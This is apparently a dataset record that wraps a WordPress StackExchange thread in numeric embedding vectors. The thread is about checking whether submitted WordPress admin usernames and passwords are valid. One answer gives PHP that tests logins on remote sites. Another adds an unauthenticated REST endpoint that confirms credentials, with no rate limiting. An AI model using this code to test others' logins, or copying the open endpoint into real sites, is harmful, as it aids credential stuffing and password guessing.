0.0050811767578125, -0.029510498046875, 0.01178741455078125, -0.024139404296875, -0.04541015625, 0.04296875, -0.059661865234375, -0.01287078857421875, 0.01873779296875, 0.06378173828125, -0.020172119140625, -0.03179931640625, -0.0173187255859375, 0.01053619384765625, -0.0085906982421875, 0.0214080810546875, 0.0014162063598632812, 0.0251922607421875, -0.0089569091796875, 0.045379638671875, 0.0174407958984375, -0.037322998046875, 0.02655029296875, -0.0018310546875, -0.056610107421875, 0.0712890625, 0.0223846435546875, 0.079833984375, -0.018585205078125, 0.00582122802734375, 0.048248291015625, 0.07171630859375, 0.01102447509765625, -0.0014324188232421875, -0.02447509765625, -0.055328369140625, 0.00033855438232421875, -0.03045654296875, -0.025421142578125, 0.0599365234375, -0.0111846923828125, 0.0298919677734375, -0.01364898681640625, -0.0190582275390625, -0.036590576171875, -0.004207611083984375, -0.005828857421875, 0.043975830078125, -0.018280029296875, 0.01654052734375, 0.0211181640625, 0.021575927734375, -0.04412841796875, 0.01114654541015625, 0.0164337158203125, 0.037811279296875, -0.0233001708984375, 0.04827880859375, -0.0103759765625, 0.04132080078125, -0.020355224609375, -0.0114593505859375, -0.0024127960205078125, -0.007068634033203125, 0.037994384765625, -0.026947021484375, -0.005695343017578125, -0.026031494140625, 0.050079345703125, -0.00807952880859375, 0.0084228515625, 0.033905029296875, 0.00800323486328125, -0.005435943603515625, -0.03802490234375, -0.0018072128295898438, 0.0006928443908691406, -0.0119171142578125, 0.0050811767578125, 0.0372314453125, 0.034820556640625, 0.00820159912109375, -0.0036640167236328125, 0.00047087669372558594, 0.008514404296875, -0.026763916015625, 0.0338134765625, -0.0167236328125, 0.002655029296875, -0.007434844970703125, 0.0142669677734375, -0.0295562744140625, 0.02789306640625, -0.041717529296875, 0.0162200927734375, 0.04150390625, -0.0185699462890625, -0.020538330078125, 0.0005655288696289062, -0.022247314453125, 0.0352783203125, -0.05108642578125, -0.0504150390625, -0.01207733154296875, -0.0231475830078125, 0.0004303455352783203, -0.00415802001953125, 0.01462554931640625, -0.01151275634765625, -0.0115966796875, 0.0160369873046875, 0.00357818603515625, 0.005062103271484375, 0.050018310546875, 0.04681396484375, 0.0247650146484375, -0.02215576171875, -0.0197601318359375, 0.0012483596801757812, 0.03302001953125, -0.004146575927734375, 0.040252685546875, -0.0259552001953125, -0.004299163818359375, 0.003276824951171875, -0.0364990234375, -0.0106658935546875, 0.0094757080078125, 0.00652313232421875, -0.007282257080078125, 0.0156707763671875, 0.025787353515625, 0.012664794921875, 0.01511383056640625, -0.001636505126953125, -0.010986328125, 0.07659912109375, -0.032562255859375, 0.03399658203125, -0.0292510986328125, 0.034881591796875, 0.03631591796875, 0.00971221923828125, -0.043060302734375, 0.004413604736328125, -0.06219482421875, -0.0215301513671875, -0.00004172325134277344, -0.02276611328125, -0.0574951171875, -0.004650115966796875, 0.0509033203125, 0.031768798828125, 0.0202178955078125, 0.032196044921875, -0.01910400390625, 0.0002841949462890625, 0.047271728515625, -0.08734130859375, -0.12744140625, 0.04864501953125, -0.042572021484375, 0.00025916099548339844, 0.0116729736328125, -0.0413818359375, -0.01776123046875, 0.032379150390625, -0.00969696044921875, 0.00254058837890625, -0.0443115234375, -0.05999755859375, -0.05853271484375, -0.08758544921875, -0.007015228271484375, 0.01033782958984375, 0.0138397216796875, 0.00737762451171875, 0.03521728515625, 0.01385498046875, 0.00913238525390625, 0.018890380859375, 0.03851318359375, -0.0285186767578125, -0.051483154296875, -0.0031337738037109375, 0.032257080078125, -0.0007772445678710938, 0.007610321044921875, 0.0687255859375, 0.040771484375, -0.0537109375, -0.002689361572265625, -0.020965576171875, -0.00856781005859375, 0.002857208251953125, 0.036651611328125, 0.03314208984375, -0.037445068359375, 0.02886962890625, -0.05908203125, -0.0298004150390625, 0.0005774497985839844, -0.050079345703125, 0.038421630859375, 0.03204345703125, -0.0175933837890625, -0.003993988037109375, 0.0173797607421875, 0.0007691383361816406, -0.0114593505859375, 0.0196380615234375, -0.0011243820190429688, 0.076171875, -0.0198822021484375, -0.0135040283203125, -0.04107666015625, 0.09136962890625, 0.02886962890625, -0.0648193359375, 0.0148162841796875, 0.00960540771484375, -0.030364990234375, -0.0039520263671875, -0.09393310546875, -0.056488037109375, 0.0499267578125, -0.0303955078125, -0.0166168212890625, -0.0170745849609375, -0.0164947509765625, 0.004459381103515625, 0.042388916015625, 0.007251739501953125, -0.01280975341796875, -0.021820068359375, -0.006786346435546875, -0.0143585205078125, -0.0159149169921875, -0.01259613037109375, 0.0130157470703125, 0.01241302490234375, -0.03363037109375, -0.049957275390625, -0.0032405853271484375, 0.01053619384765625, -0.0165557861328125, 0.03411865234375, -0.03399658203125, 0.045928955078125, -0.0728759765625, 0.0215606689453125, 0.0211181640625, 0.0187530517578125, -0.04022216796875, -0.0465087890625, -0.005367279052734375, -0.08642578125, -0.011749267578125, -0.02392578125, 0.06634521484375, 0.01558685302734375, -0.0206451416015625, -0.0084991455078125, 0.043548583984375, 0.03369140625, -0.007617950439453125, 0.0164794921875, -0.031982421875, 0.0157928466796875, 0.018463134765625, 0.011810302734375, -0.002414703369140625, 0.007717132568359375, 0.00542449951171875, -0.047088623046875, 0.0126495361328125, -0.02532958984375, -0.007625579833984375, -0.0019855499267578125, -0.043060302734375, -0.036529541015625, -0.016021728515625, -0.0262908935546875, 0.05010986328125, -0.0164031982421875, 0.0107574462890625, -0.035003662109375, -0.07366943359375, 0.0352783203125, -0.020538330078125, -0.00896453857421875, 0.0023403167724609375, 0.05322265625, 0.0201263427734375, -0.014556884765625, 0.01556396484375, 0.005565643310546875, 0.01849365234375, -0.0080718994140625, 0.040374755859375, 0.00983428955078125, -0.014404296875, 0.04498291015625, -0.01251220703125, -0.0369873046875, 0.046630859375, -0.0166015625, 0.0222930908203125, -0.03582763671875, 0.0013513565063476562, 0.00835418701171875, -0.034027099609375, 0.01308441162109375, 0.002979278564453125, 0.0022125244140625, 0.0472412109375, -0.002422332763671875, -0.072021484375, 0.04132080078125, 0.035675048828125, -0.06158447265625, 0.0242919921875, -0.04168701171875, 0.0235443115234375, 0.00033593177795410156, 0.01114654541015625, 0.0122528076171875, -0.0020275115966796875, -0.0083465576171875, -0.02679443359375, 0.0211639404296875, -0.01398468017578125, 0.0384521484375, -0.036041259765625, -0.01212310791015625, -0.045745849609375, -0.0260467529296875, 0.06036376953125, 0.009796142578125, -0.0660400390625, 0.040313720703125, 0.0021915435791015625, 0.01788330078125, 0.030029296875, 0.03314208984375, 0.041900634765625, 0.035308837890625, -0.0003428459167480469, -0.01160430908203125, -0.004619598388671875, 0.0254364013671875, -0.046142578125, 0.04058837890625, 0.017608642578125, -0.009613037109375, -0.05487060546875, 0.07135009765625, 0.047576904296875, -0.008148193359375, -0.0152587890625, -0.00051116943359375, -0.021148681640625, 0.08001708984375, 0.006866455078125, -0.044830322265625, 0.00623321533203125, 0.053802490234375, 0.0089263916015625, -0.043914794921875, -0.0013914108276367188, 0.02117919921875, 0.048553466796875, -0.01273345947265625, -0.03375244140625, 0.0244903564453125, -0.0259857177734375, -0.02838134765625, 0.01012420654296875, -0.018768310546875, -0.004772186279296875, -0.04248046875, -0.0068511962890625, 0.04315185546875, 0.0135650634765625, 0.018341064453125, 0.007965087890625, 0.052825927734375, 0.045654296875, -0.01247406005859375, 0.01313018798828125, -0.007293701171875, 0.00579833984375, 0.0009031295776367188, -0.0196685791015625, 0.0156097412109375, -0.005962371826171875, 0.0296630859375, -0.03253173828125, -0.039520263671875, 0.047576904296875, -0.0242462158203125, -0.013397216796875, -0.01373291015625, 0.0254669189453125, -0.041748046875, 0.0094757080078125, 0.038055419921875, 0.02490234375, 0.0007915496826171875, 0.02374267578125, -0.017059326171875, -0.00690460205078125, 0.0439453125, -0.00499725341796875, -0.038604736328125, -0.0469970703125, 0.01605224609375, 0.0028400421142578125, 0.0273590087890625, 0.00031495094299316406, -0.007038116455078125, 0.033172607421875, 0.01739501953125, 0.00339508056640625, -0.0523681640625, 0.0513916015625, 0.0179901123046875, 0.021392822265625, -0.018798828125, 0.0187835693359375, 0.026763916015625, -0.010772705078125, -0.00841522216796875, -0.0616455078125, -0.0184173583984375, -0.029541015625, -0.0186614990234375, 0.07843017578125, 0.10809326171875, 0.005268096923828125, -0.0016307830810546875, -0.01220703125, -0.01122283935546875, -0.0096588134765625, 0.04998779296875, 0.0155487060546875, 0.034149169921875, 0.01534271240234375, 0.007396697998046875, 0.05401611328125, -0.00507354736328125, 0.00971221923828125, -0.0034046173095703125, -0.004852294921875, 0.02593994140625, -0.027801513671875, -0.0263824462890625, 0.03814697265625, 0.10064697265625, 0.014739990234375, 0.049285888671875, 0.0272369384765625, 0.00785064697265625, 0.01360321044921875, 0.039276123046875, -0.0010461807250976562, -0.052398681640625, 0.004566192626953125, 0.005283355712890625, -0.002079010009765625, 0.0001722574234008789, -0.01641845703125, 0.02520751953125, 0.0224151611328125, 0.046051025390625, -0.0526123046875, 0.0002371072769165039, -0.018463134765625, -0.0303192138671875, 0.0484619140625, 0.007648468017578125, 0.0011110305786132812, -0.00878143310546875, 0.0110321044921875, -0.03802490234375, -0.0224609375, 0.0015697479248046875, 0.0005564689636230469, -0.004917144775390625, -0.01015472412109375, 0.061126708984375, 0.007404327392578125, 0.032257080078125, -0.0072021484375, -0.030670166015625, 0.04693603515625, 0.03253173828125, 0.0163116455078125, -0.025665283203125, -0.016387939453125, -0.0258941650390625, -0.004467010498046875, -0.0303955078125, -0.05255126953125, 0.0316162109375, 0.007495880126953125, 0.017333984375, 0.051666259765625, -0.0131072998046875, 0.00907135009765625, 0.025634765625, -0.0287933349609375, 0.07000732421875, -0.0255584716796875, -0.004734039306640625, -0.00595855712890625, -0.0384521484375, -0.0016021728515625, 0.012451171875, -0.008148193359375, 0.0018510818481445312, -0.0247039794921875, 0.08880615234375, -0.0252838134765625, -0.02508544921875, 0.020904541015625, -0.032379150390625, -0.01641845703125, -0.006748199462890625, 0.06024169921875, -0.0121612548828125, 0.0026149749755859375, 0.020965576171875, -0.018341064453125, -0.028076171875, -0.0115203857421875, 0.01220703125, 0.0528564453125, -0.045318603515625, -0.01505279541015625, 0.021392822265625, 0.028839111328125, 0.023834228515625, 0.05267333984375, -0.0361328125, 0.056243896484375, 0.005756378173828125, 0.03369140625, -0.0249786376953125, 0.01169586181640625, 0.0220489501953125, -0.0007047653198242188, 0.07757568359375, 0.0310821533203125, -0.063720703125, -0.039306640625, -0.0175933837890625, 0.0214080810546875, -0.02056884765625, 0.0660400390625, 0.0174560546875, 0.0012302398681640625, 0.023223876953125, -0.009765625, 0.0229034423828125, 0.003543853759765625, -0.006023406982421875, 0.032379150390625, 0.020172119140625, 0.01334381103515625, -0.005218505859375, -0.0024852752685546875, -0.0237579345703125, -0.00843048095703125, 0.0269775390625, -0.0321044921875, -0.025787353515625, 0.06707763671875, -0.0008254051208496094, 0.021636962890625, 0.0166778564453125, -0.05755615234375, 0.040496826171875, -0.01313018798828125, 0.01971435546875, 0.0260467529296875, 0.0300140380859375, 0.0013055801391601562, -0.0017518997192382812, 0.01023101806640625, 0.02813720703125, -0.039642333984375, 0.0782470703125, 0.048553466796875, 0.05126953125, 0.0010728836059570312, -0.029815673828125, 0.022918701171875, 0.0872802734375, -0.037445068359375, -0.05401611328125, 0.006984710693359375, 0.0248870849609375, 0.037139892578125, 0.031280517578125, 0.07257080078125, -0.035400390625, 0.0163726806640625, -0.020904541015625, -0.0023517608642578125, -0.00928497314453125, 0.027496337890625, -0.00818634033203125, -0.0382080078125, 0.0146636962890625, 0.004322052001953125, -0.032806396484375, 0.0010576248168945312, 0.017333984375, 0.05126953125, 0.0182342529296875, 0.031219482421875, -0.004909515380859375, -0.0228118896484375, 0.02716064453125, 0.0090789794921875, 0.0133056640625, -0.04583740234375, 0.01103973388671875, -0.0582275390625, 0.045867919921875, 0.002758026123046875, -0.0005202293395996094, 0.032012939453125, 0.0264434814453125, 0.005645751953125, -0.0274505615234375, -0.0127716064453125, 0.0126800537109375, -0.0247955322265625, -0.0264129638671875, -0.025970458984375, -0.01061248779296875, -0.0206451416015625, 0.01004791259765625, -0.00765228271484375, 0.037750244140625, -0.0281524658203125, -0.005283355712890625, 0.043426513671875, 0.007293701171875, -0.020965576171875, 0.008636474609375, -0.004795074462890625, 0.06768798828125, 0.0184173583984375, -0.01198577880859375, 0.03057861328125, -0.0224456787109375, -0.01490020751953125, -0.04095458984375, -0.006256103515625, -0.00893402099609375, 0.059906005859375, -0.01568603515625, 0.015228271484375, 0.00849151611328125, -0.0296478271484375, 0.01267242431640625, -0.031463623046875, 0.0184478759765625, -0.00751495361328125, -0.03875732421875, -0.016571044921875, -0.006855010986328125, 0.010406494140625, 0.0035648345947265625, 0.104736328125, -0.0265655517578125, -0.0053253173828125, -0.030670166015625, -0.01885986328125, 0.022064208984375, -0.0248870849609375, -0.0109405517578125, 0.04644775390625, 0.00980377197265625, -0.0265655517578125, -0.022735595703125, 0.03924560546875, 0.02630615234375, -0.027587890625, 0.05224609375, -0.0265045166015625, 0.005908966064453125, -0.058074951171875, -0.0164794921875, -0.0389404296875, -0.0682373046875, -0.0472412109375, 0.0252838134765625, -0.00952911376953125, 0.0056915283203125, -0.022796630859375, 0.024871826171875, 0.0008068084716796875, -0.04559326171875, 0.028350830078125, -0.0504150390625, 0.031341552734375, 0.023956298828125, 0.004642486572265625, 0.027984619140625, -0.02386474609375, -0.0206146240234375, 0.0053253173828125, 0.0081939697265625, -0.03369140625, -0.01213836669921875, 0.0703125, -0.0293426513671875, -0.00919342041015625, -0.01222991943359375, -0.0177459716796875, -0.017333984375, -0.017120361328125, -0.0333251953125, 0.007965087890625, -0.0026340484619140625, -0.0063629150390625, -0.0202178955078125, -0.0213165283203125, 0.014984130859375, -0.0011043548583984375, 0.01202392578125, -0.003734588623046875, -0.00994873046875, -0.01580810546875, -0.023193359375, -0.02362060546875, 0.020599365234375, -0.016510009765625, 0.01113128662109375, -0.058135986328125, -0.050201416015625, 0.007659912109375, 0.012420654296875, -0.008392333984375, 0.01404571533203125, -0.032501220703125, -0.0234832763671875, -0.00855255126953125, -0.004253387451171875, 0.022979736328125, 0.0037174224853515625, -0.00820159912109375, -0.020782470703125, -0.005641937255859375, 0.016326904296875, -0.03790283203125, 0.0170745849609375, -0.00189971923828125, 0.0372314453125, -0.031982421875, -0.08184814453125, -0.014312744140625, -0.0072479248046875, 0.00782012939453125, -0.0230865478515625, 0.022552490234375, 0.02325439453125, -0.0384521484375, -0.08203125, 0.0201263427734375, -0.010162353515625, -0.033721923828125, -0.0784912109375, -0.034576416015625, -0.00003886222839355469, 0.042694091796875, -0.04290771484375, 0.0167083740234375, -0.06121826171875, 0.055908203125, 0.0259246826171875, 0.04058837890625, -0.00045418739318847656, 0.02386474609375, -0.045013427734375, 0.0281982421875, 0.002483367919921875, 0.029205322265625, 0.025115966796875, -0.004062652587890625, 0.046112060546875, 0.055023193359375, -0.036102294921875, 0.048492431640625, -0.0169830322265625, -0.028289794921875, -0.0201568603515625, -0.0188446044921875, 0.004299163818359375, -0.01212310791015625, 0.0460205078125, 0.0028076171875, 0.00006633996963500977, -0.0124969482421875, -0.035430908203125, -0.048126220703125, 0.0143890380859375, -0.00885009765625, 0.00006413459777832031, -0.06298828125, 0.00933074951171875, 0.0389404296875, 0.0078582763671875, 0.016204833984375, -0.0255889892578125, -0.004520416259765625, -0.0113983154296875, 0.0200653076171875, -0.00902557373046875, 0.004650115966796875, 0.01190948486328125, 0.0288238525390625, -0.02606201171875, -0.02154541015625, 0.006481170654296875, 0.00438690185546875, -0.0070953369140625, 0.0123748779296875, -0.0024204254150390625, -0.0199737548828125, -0.0287628173828125, 0.01336669921875, -0.01235198974609375, 0.0675048828125, -0.025482177734375, -0.03765869140625, 0.005741119384765625, 0.016845703125, -0.0012903213500976562, 0.0141448974609375, 0.01239776611328125, 0.034637451171875, -0.0007777214050292969, 0.01384735107421875, -0.0301361083984375, 0.0814208984375, -0.0028362274169921875, 0.0241851806640625, -0.0011758804321289062, 0.007762908935546875, 0.045196533203125, -0.0184783935546875, -0.0155029296875, 0.0301361083984375, -0.058929443359375, -0.044677734375, 0.00380706787109375, 0.0018529891967773438, 0.00829315185546875, 0.01165771484375 ]
f6ac039cd5afe822724610da20ebbb05a737876f
Wordpress Stackexchange Q: How to check WordPress website username and password is correct On my site i have one form for client to submit their WordPress site details. On that form containing these fields WordPress admin url, username, and password. I want to check their login details are valid before submitting the form. How i do that? If there any way to do by using WordPress REST API? If anyone know please help me Thanks ! A: Getting user names and passwords is a horrible idea I hope no user will actually agree to, but beyond that your idea to do it from JS is going to fail due to CORS, which means you will have to do it in AJAX to your server, and let your server try to login, which in turn will most likely flag it as a brute force attacker in no time, and all the major security players will just automatically block the requests. You need to redesign you software to not need user name and password, probably use something like oauth2 instead. If oauth2 is not applicable for your situation.... well, tough luck.
Q: How to check WordPress website username and password is correct On my site i have one form for client to submit their WordPress site details. On that form containing these fields WordPress admin url, username, and password. I want to check their login details are valid before submitting the form. How i do that? If there any way to do by using WordPress REST API? If anyone know please help me Thanks ! A: Getting user names and passwords is a horrible idea I hope no user will actually agree to, but beyond that your idea to do it from JS is going to fail due to CORS, which means you will have to do it in AJAX to your server, and let your server try to login, which in turn will most likely flag it as a brute force attacker in no time, and all the major security players will just automatically block the requests. You need to redesign you software to not need user name and password, probably use something like oauth2 instead. If oauth2 is not applicable for your situation.... well, tough luck. A: First off: there are many reasons why the following code could fail. There is no way to have a system that works everywhere. This is due to various security plugins introducing many different concepts. Having said that, this code worked for a plain installation as well as one with Wordfence (with not super strict settings) enabled. wp_remote_post() is the key function in this function. It allows you to send POST requests to remote hosts - which is exactly what you want if you want to check a login. function WPSE_test_remote_login($url, $username, $password) { // remove trailing slash if it exists $base = rtrim($url, '/'); // login url $url = $base . '/wp-login.php'; $args = [ // the inputs that get POSTed 'body' => [ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Submit', 'redirect_to' => $base . '/wp-admin/', 'testcookie' => 1, ], ]; // make the actual request $response = wp_remote_post($url, $args); // only one cookie? then failed login if ( ! is_array($response['headers']['set-cookie'])) { return false; } // if a cookie that contains wordpress_logged_in is set // the login was successful foreach ($response['headers']['set-cookie'] as $cookie) { if (stripos($cookie, 'wordpress_logged_in') !== FALSE) { return true; } } return false; } I tried this in my local environment, you can get the necessary fields that are usually sent if you access the wp-login.php in your browser. Then I checked the $result and compared the difference between correct and wrong password. For a failed login, $response['headers']['set-cookie'] looked like this string(45) "wordpress_test_cookie=WP+Cookie+check; path=/" or this array(3) { [0]=> string(128) "__cfduid=df131...; expires=Sun, 21-Apr-19 12:35:00 GMT; path=/; domain=.example.com; HttpOnly" [1]=> string(100) "wfvt_144...=5ad...; expires=Sat, 21-Apr-2018 13:05:00 GMT; Max-Age=1800; path=/; HttpOnly" [2]=> string(74) "wordpress_test_cookie=WP+Cookie+check; path=/; domain=.example.com; secure" } However, a successful login returned these cookies array(4) { [0]=> string(45) "wordpress_test_cookie=WP+Cookie+check; path=/" [1]=> string(209) "wordpress_852...=test%7C15...; path=/wp-content/plugins; HttpOnly" [2]=> string(199) "wordpress_852...=test%7C15...; path=/wp-admin; HttpOnly" [3]=> string(201) "wordpress_logged_in_852...=test%7C15...; path=/; HttpOnly" } We see that wordpress_test_cookie will always get set. However, wordpress_logged_in_852... was only set for successful logins. So we can determine that if this exists, the credentials are correct. A: There is no way to achieve this without any custom API routes. But of course, you can register such route (or use AJAX instead), if you can edit theme or install plugins on that site. So, let's do this with REST API... function my_register_api_hooks() { register_rest_route( 'my_namespace', '/check-login/', array( 'methods' => 'POST', 'callback' => 'my_api_check_login_callback', ) ); } add_action( 'rest_api_init', 'my_register_api_hooks' ); function my_api_check_login_callback($request){ $user = wp_authenticate_username_password(null, $request['username'], $request['password']); if ( is_wp_error($user) ) { return array('error' => $user, 'user' => false); } return array('error' => false, 'user' => $user->ID); } When you'll send a POST request to http://example.com/wp-json/my_namespace/check-login/ containing username and password, you'll get JSON like this: { "error": false, "user": 1 } where 1 is the ID of user found for given credentials, or { "error": "...", <- this will contain error messages "user": false } You have to be aware that this code only checks if user credentials are correct. It will not log user in. And what if you have no control over site you want to check? Then there is no way to register your own routes and there's no way to use REST to check user credentials. But... You can use XMLRPC... One way will be using this library: WordPress XML-RPC PHP Client. It will do the job for you almost all the way or you can use native WP_HTTP_IXR_Client class. You can use wp.getUsersBlogs method for checking if given credentials are correct.
wordpress
{ "language": "en", "length": 764, "provenance": "stackexchange_00019.jsonl.gz:485499", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/301035" }
[ 0.03839111328125, 0.0234527587890625, -0.01641845703125, 0.01207733154296875, 0.01233673095703125, -0.044769287109375, 0.022857666015625, -0.0535888671875, -0.0313720703125, 0.0106353759765625, -0.0280914306640625, 0.0031795501708984375, -0.0103759765625, -0.0174407958984375, 0.010223388671875, -0.05084228515625, 0.0018405914306640625, 0.01200103759765625, 0.01023101806640625, -0.01485443115234375, 0.00978851318359375, -0.022430419921875, 0.03448486328125, -0.02392578125, 0.023895263671875, -0.0284576416015625, 0.1192626953125, -0.022735595703125, 0.049652099609375, -0.0006132125854492188, 0.035430908203125, -0.084716796875, -0.000514984130859375, 0.026824951171875, -0.007808685302734375, -0.046722412109375, 0.01381683349609375, 0.01410675048828125, 0.007289886474609375, 0.02301025390625, 0.03167724609375, -0.020111083984375, 0.005474090576171875, 0.03228759765625, -0.006740570068359375, -0.0465087890625, 0.038360595703125, -0.042083740234375, 0.00615692138671875, 0.037841796875, 0.006801605224609375, -0.0017547607421875, 0.0137786865234375, 0.007419586181640625, -0.01451873779296875, -0.02679443359375, 0.01094818115234375, -0.0247039794921875, 0.0526123046875, -0.0248870849609375, -0.054931640625, -0.05126953125, 0.0413818359375, -0.03851318359375, -0.020843505859375, -0.004512786865234375, -0.0008168220520019531, 0.0199737548828125, 0.0047607421875, -0.04681396484375, -0.00463104248046875, 0.00768280029296875, -0.01558685302734375, 0.0072174072265625, -0.0001399517059326172, -0.038726806640625, -0.0012874603271484375, -0.0194549560546875, 0.01415252685546875, 0.035125732421875, -0.0111236572265625, 0.012847900390625, -0.061248779296875, 0.01511383056640625, 0.01430511474609375, 0.0567626953125, -0.0168609619140625, -0.03680419921875, -0.0070953369140625, -0.040771484375, -0.0056304931640625, -0.053131103515625, -0.04949951171875, 0.0301361083984375, -0.0017728805541992188, -0.0231781005859375, 0.03424072265625, 0.037322998046875, 0.0191192626953125, -0.01010894775390625, 0.01125335693359375, -0.044921875, -0.016815185546875, -0.00507354736328125, -0.0016422271728515625, 0.041290283203125, 0.02520751953125, -0.00466156005859375, -0.0008072853088378906, -0.0087127685546875, -0.0136566162109375, 0.00994873046875, -0.050201416015625, -0.07489013671875, -0.006748199462890625, 0.0750732421875, -0.01355743408203125, -0.02349853515625, 0.00301361083984375, -0.0179595947265625, -0.010772705078125, -0.002780914306640625, 0.006977081298828125, -0.0119781494140625, 0.025299072265625, -0.0001544952392578125, -0.032958984375, 0.00861358642578125, -0.0260772705078125, 0.04620361328125, -0.023651123046875, 0.00579833984375, 0.0176849365234375, 0.004276275634765625, -0.0198516845703125, -0.037139892578125, 0.013427734375, 0.036041259765625, -0.00469207763671875, 0.01197052001953125, -0.0139617919921875, -0.0161895751953125, 0.0260467529296875, -0.024566650390625, 0.003997802734375, 0.0263671875, 0.019989013671875, -0.0004222393035888672, -0.007122039794921875, -0.021514892578125, -0.0031452178955078125, -0.0298919677734375, -0.0278472900390625, 0.032196044921875, 0.07623291015625, 0.0296478271484375, 0.0390625, -0.0010519027709960938, 0.00199127197265625, 0.028076171875, 0.00389862060546875, -0.018798828125, 0.0341796875, -0.005886077880859375, -0.0258026123046875, 0.004253387451171875, -0.05828857421875, -0.007595062255859375, 0.0289764404296875, -0.015716552734375, 0.02569580078125, -0.01050567626953125, 0.037139892578125, 0.00804901123046875, 0.00969696044921875, 0.0249786376953125, 0.0155792236328125, 0.0594482421875, -0.005809783935546875, 0.03887939453125, 0.015960693359375, -0.03826904296875, 0.0791015625, -0.0280303955078125, -0.03717041015625, -0.0149078369140625, 0.03204345703125, 0.04449462890625, 0.0034313201904296875, 0.019439697265625, 0.04888916015625, 0.00753021240234375, -0.00368499755859375, 0.0226287841796875, -0.023895263671875, -0.03314208984375, 0.0303802490234375, 0.0176544189453125, -0.021484375, 0.002620697021484375, 0.038055419921875, -0.0166168212890625, -0.005313873291015625, -0.04150390625, -0.04339599609375, -0.0292205810546875, -0.0008306503295898438, 0.0202484130859375, -0.04486083984375, 0.023590087890625, 0.0302734375, 0.00009655952453613281, -0.036346435546875, 0.007518768310546875, 0.01200103759765625, -0.0289154052734375, -0.029937744140625, 0.04107666015625, -0.0136260986328125, 0.050201416015625, -0.023895263671875, -0.0265350341796875, -0.0263519287109375, -0.02825927734375, 0.00421905517578125, -0.037017822265625, 0.0004143714904785156, -0.023101806640625, 0.041900634765625, -0.002685546875, 0.035888671875, 0.0026607513427734375, 0.0019521713256835938, 0.0307769775390625, -0.009246826171875, -0.009490966796875, -0.006549835205078125, -0.034149169921875, 0.00762939453125, 0.033477783203125, 0.0340576171875, 0.00449371337890625, -0.00275421142578125, 0.0013551712036132812, 0.0228118896484375, -0.057220458984375, 0.0008440017700195312, 0.005512237548828125, 0.00931549072265625, 0.04705810546875, -0.0261383056640625, -0.0073089599609375, 0.01439666748046875, -0.06512451171875, -0.018310546875, 0.04693603515625, -0.0249481201171875, 0.011505126953125, -0.031524658203125, 0.0161285400390625, -0.0189361572265625, -0.07208251953125, -0.0023040771484375, -0.0413818359375, 0.0245361328125, -0.01425933837890625, 0.0152587890625, 0.0005059242248535156, -0.0214080810546875, -0.0010232925415039062, 0.01274871826171875, -0.040130615234375, -0.01538848876953125, 0.0499267578125, 0.0640869140625, -0.002269744873046875, -0.028961181640625, -0.0203094482421875, -0.0031585693359375, 0.04327392578125, -0.01068115234375, -0.015350341796875, -0.01273345947265625, 0.005596160888671875, -0.01229095458984375, -0.0276031494140625, 0.047088623046875, 0.059661865234375, 0.054656982421875, 0.0295562744140625, 0.0692138671875, 0.00323486328125, 0.007457733154296875, 0.03546142578125, 0.00164031982421875, -0.03131103515625, -0.024688720703125, -0.02166748046875, 0.0243988037109375, -0.04302978515625, 0.0006389617919921875, 0.0496826171875, 0.003421783447265625, -0.00839996337890625, -0.01617431640625, 0.00630950927734375, -0.0018682479858398438, -0.0021724700927734375, -0.011505126953125, -0.0300140380859375, -0.002826690673828125, 0.0438232421875, 0.00809478759765625, 0.0298309326171875, -0.0000028014183044433594, -0.040924072265625, -0.0088348388671875, 0.0024967193603515625, -0.07000732421875, -0.064208984375, -0.09136962890625, -0.051788330078125, 0.0119781494140625, 0.00833892822265625, -0.002544403076171875, 0.02447509765625, 0.0233917236328125, 0.01776123046875, -0.0006518363952636719, -0.04632568359375, -0.0504150390625, -0.0577392578125, -0.0540771484375, 0.003917694091796875, 0.0003788471221923828, -0.0111541748046875, 0.00537109375, 0.0286712646484375, 0.0012798309326171875, -0.059722900390625, -0.024505615234375, 0.034820556640625, -0.01470947265625, -0.03076171875, -0.047332763671875, 0.002620697021484375, 0.033355712890625, -0.0029087066650390625, -0.0030364990234375, -0.0012292861938476562, 0.030609130859375, -0.00728607177734375, 0.01007080078125, -0.031158447265625, 0.019927978515625, -0.00009638071060180664, -0.023162841796875, -0.0217742919921875, 0.0104217529296875, -0.06341552734375, -0.00005161762237548828, 0.0244140625, -0.0267486572265625, 0.00481414794921875, 0.01038360595703125, -0.057952880859375, 0.032073974609375, -0.022308349609375, 0.00746917724609375, 0.0113067626953125, -0.007137298583984375, 0.00630950927734375, 0.006557464599609375, -0.0100555419921875, -0.004467010498046875, 0.01146697998046875, 0.029632568359375, -0.0401611328125, -0.022674560546875, -0.00841522216796875, -0.0299224853515625, -0.02105712890625, 0.007965087890625, 0.0035991668701171875, -0.070556640625, 0.0650634765625, -0.013916015625, -0.00040030479431152344, -0.02850341796875, -0.0389404296875, 0.0063323974609375, 0.11883544921875, 0.01959228515625, -0.01152801513671875, 0.013458251953125, 0.01018524169921875, -0.0634765625, -0.0037212371826171875, -0.046112060546875, -0.0017023086547851562, -0.0667724609375, -0.0085296630859375, -0.0275726318359375, -0.01351165771484375, 0.001399993896484375, -0.052154541015625, -0.01824951171875, -0.050506591796875, -0.0020751953125, -0.029449462890625, 0.0206451416015625, -0.053741455078125, 0.0222625732421875, -0.0855712890625, 0.053253173828125, -0.04345703125, -0.032196044921875, -0.0216064453125, 0.0003681182861328125, 0.06488037109375, 0.0251312255859375, -0.036895751953125, -0.006900787353515625, 0.036895751953125, -0.011962890625, 0.001575469970703125, 0.01381683349609375, -0.0030689239501953125, 0.042205810546875, 0.00543212890625, -0.0196075439453125, -0.01031494140625, -0.016387939453125, -0.01428985595703125, -0.029693603515625, -0.0679931640625, -0.0232391357421875, -0.07879638671875, 0.0300750732421875, -0.0162506103515625, -0.016937255859375, -0.0234222412109375, -0.01001739501953125, 0.0026912689208984375, -0.00290679931640625, -0.0018482208251953125, -0.019805908203125, -0.01322174072265625, 0.06329345703125, 0.004924774169921875, -0.022369384765625, 0.0021495819091796875, 0.07098388671875, 0.003368377685546875, -0.02288818359375, -0.0556640625, 0.017791748046875, 0.0469970703125, 0.0177154541015625, 0.035430908203125, 0.019195556640625, -0.048004150390625, 0.08135986328125, 0.038909912109375, -0.01291656494140625, 0.0133819580078125, -0.02130126953125, 0.005001068115234375, -0.0469970703125, 0.0023822784423828125, 0.00893402099609375, 0.0187225341796875, -0.007411956787109375, 0.01363372802734375, 0.00507354736328125, 0.0164642333984375, -0.0270843505859375, -0.006900787353515625, 0.0025997161865234375, 0.03399658203125, 